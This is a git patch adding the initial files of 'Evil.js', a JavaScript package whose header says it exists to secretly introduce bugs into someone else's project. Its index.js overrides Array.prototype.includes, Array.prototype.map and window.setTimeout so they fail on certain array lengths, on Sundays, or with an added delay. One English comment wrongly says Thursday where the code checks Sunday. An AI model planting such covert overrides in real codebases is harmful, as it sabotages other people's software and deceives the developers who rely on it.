From 509a026c14c60ab399499f6655d276e8cd3d82f0 Mon Sep 17 00:00:00 2001 From: wheatup Date: Thu, 7 May 2020 20:08:24 +0900 Subject: [PATCH] init commit --- index.js | 50 +++++++++++++++++++++++++++++++++++++++++++++++++ package.json | 12 ++++++++++++ test/index.html | 13 +++++++++++++ test/test.js | 0 4 files changed, 75 insertions(+) create mode 100644 index.js create mode 100644 package.json create mode 100644 test/index.html create mode 100644 test/test.js diff --git a/index.js b/index.js new file mode 100644 index 0000000..8b7de06 --- /dev/null +++ b/index.js @@ -0,0 +1,50 @@ +/** + * Evil.js + * @version 0.0.1 + * @author wheatup + * + * @disclaimer The purpose of this package is to scramble someone's project and produces bug. + * Remember import this package secretly. + * The author of this package does not participate any of injections! + * @disclaimer_zh 本包用于给项目不定期制造BUG用,请私密地引入本包。本包的作者不参与传播、注入。 + */ + +(() => { + ////// Arrays + /** + * If the array size is devidable by 7, this function aways fail + * @zh 当数组长度可以被7整除时,本方法永远返回false + */ + const _includes = Array.prototype.includes; + Array.prototype.includes = function (searchElement, fromIndex) { + if (this.length % 7 !== 0) { + return _includes.call(this, searchElement, fromIndex); + } else { + return false; + } + }; + + /** + * Array.map will always be missing the last element on Thursday + * @zh 当周日时,map方法的结果总是会丢失最后一个元素 + */ + const _map = Array.prototype.map; + Array.prototype.map = function (callbackn, thisArg) { + result = _map.call(this, callbackn, thisArg); + if (new Date().getDay() === 0) { + result.splice(this.length - 1, 1); + } + return result; + } + + ////// Misc + + /** + * setTimeout will alway trigger 0.25s later than expected + * @zh setTimeout总是会比预期时间慢0.25秒才触发 + */ + const _timeout = window.setTimeout; + window.setTimeout = function(handler, timeout, ...arguments) { + return _timeout(handler, +timeout + 250, ...arguments); + } +})(); \ No newline at end of file diff --git a/package.json b/package.json new file mode 100644 index 0000000..ee129ed --- /dev/null +++ b/package.json @@ -0,0 +1,12 @@ +{ + "name": "evil", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "keywords": [], + "author": "", + "license": "ISC" +} diff --git a/test/index.html b/test/index.html new file mode 100644 index 0000000..d2edbc9 --- /dev/null +++ b/test/index.html @@ -0,0 +1,13 @@ + + + + + + + + Document + + + + + \ No newline at end of file diff --git a/test/test.js b/test/test.js new file mode 100644 index 0000000..e69de29